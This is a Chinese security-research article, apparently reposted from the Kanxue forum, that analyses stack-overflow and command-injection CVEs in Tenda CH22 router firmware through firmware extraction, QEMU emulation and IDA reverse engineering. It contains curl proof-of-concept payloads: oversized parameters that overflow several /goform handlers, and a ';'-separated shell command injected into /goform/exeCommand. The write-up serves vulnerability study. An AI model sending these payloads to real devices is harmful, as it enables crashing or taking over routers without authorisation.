TendaCH22多个漏洞分析

admin 2026-03-09 02:37:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了TendaCH22路由器固件中的多个CVE漏洞,涵盖固件提取、QEMU仿真环境搭建及IDA静态分析过程。作者深入剖析了CVE-2025-9813等栈溢出漏洞及CVE-2025-9812命令注入漏洞的成因,指出主要系对用户输入参数缺乏长度校验与过滤导致。文中提供了具体的逆向分析细节与PoC验证代码,对物联网设备安全测试与漏洞挖掘具有较高参考价值。 综合评分: 91 文章分类: 漏洞分析,IoT安全,逆向分析,渗透测试


cover_image

Tenda CH22 多个漏洞分析

BornChu BornChu

看雪学苑

2026年3月6日 18:08 上海

漏洞定位

从漏洞信息了解到,是通过网页配置访问到漏洞点的,直接分析http服务。

提取httpd&仿真

binwalk一把梭:

iot@iot:~$ binwalk US_CH22V1BR_CH22_V1.0.0.1_CN.bin -Me
iot@iot:~$ cd _US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/bin$ file httpd
httpd:ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

qemu直接起:

iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ cp /usr/bin/qemu-arm-static ./
iot@iot:~/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd

IDA分析

根据字符串快速定位到路径处:

这一段应该是做的路径解析,如果路径不存在则通过websFormHandler返回error,存在则在sub_2DB50中做跳转

这里不难看出,根据不同的路径会跳转到不同的解析里面,主要分为asp和非asp两类,找到位置就方便研究漏洞了。

CVE-2025-9813

这里先拿CVE-2025-9813分析,根据漏洞描述这个漏洞在/goform/SetSambaConf下,通过操作samba_userNameSda溢出。

根据描述漏洞就在这一块了,传入的参数为s_1,大小可控,v3为s_1的总长度,v4为s_1从*起到末尾的长度,也就是说原本的输入可能类似于username*password 在第60行s_1直接传给了s[256],导致溢出。

同样的问题也出在下方,只不过需要用到:做分隔,溢出点dest[256]就不过多赘述了。

PoC:

curl -i -X POST 'http://192.168.127.100/goform/SetSambaConf' -d "samba_userNameSda=$(python3 -c "print('A' * 300 + '*')")"

#

CVE-2025-12271

CVE-2025-12271的情况也是同理

从描述来看是需要利用/goform/RouteStatic中的page这个参数

在fromRouteStatic这个函数中与前者不同的是,此函数会先将entrys以及mitInterface的值传入sub_39798这个函数中,不过并不存在判断条件,所以还是可以直接触发漏洞。

漏洞点在于sprinf前未对v6的长度做校验,直接拼接前面的路径传入s,如果写exp需要注意偏移量。

PoC:

curl -i -X POST 'http://192.168.127.100/goform/RouteStatic' -d "page=$(python3 -c "print('A' *(300 - len('routing_static.asp?page=')))")"

此外,类似的page溢出还有很多,原理都是sprint未经校验直接拼接重定向url导致。

CVE-2025-14526

PoC:

curl -i -X POST 'http://192.168.127.100/goform/L7Im' -d "page=$(python3 -c "print('A' *(300 - len('im.asp?page=%s')))")"

#

CVE-2025-9812

结合通告信息,很明显是有溢出:

但实际上更大的问题在后面,可以使用;分隔实现命令注入。

或许是由于使用的用户模式仿真,能够利用的函数较少,这里只贴个PoC没深入研究。

PoC:

curl -X POST -d "cmdinput=ping 127.0.0.1 -c 3; pwd; ls; cd bin/; pwd; ls; " http://192.168.127.100/goform/exeCommand

#

栈溢出漏洞列表

类似的漏洞还有很多,这里贴一张列表:

看雪ID:BornChu

https://bbs.kanxue.com/user-home-964118.htm

*本文为看雪论坛优秀文章,由 BornChu 原创,转载请注明来自看雪社区

议题征集中!看雪·第十届安全开发者峰会

往期推荐

IDA旧版本插件移植后卡死的研究及修复

神奇日游保护分析——从Frida的启动说起

Linux 3.10 版本编译 qemu仿真 busybox

深入理解IOS重签名检测

驱动挂钩所有内核导出函数来进行驱动逻辑分析

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 BornChu BornChu《Tenda CH22 多个漏洞分析》

评论:0   参与:  0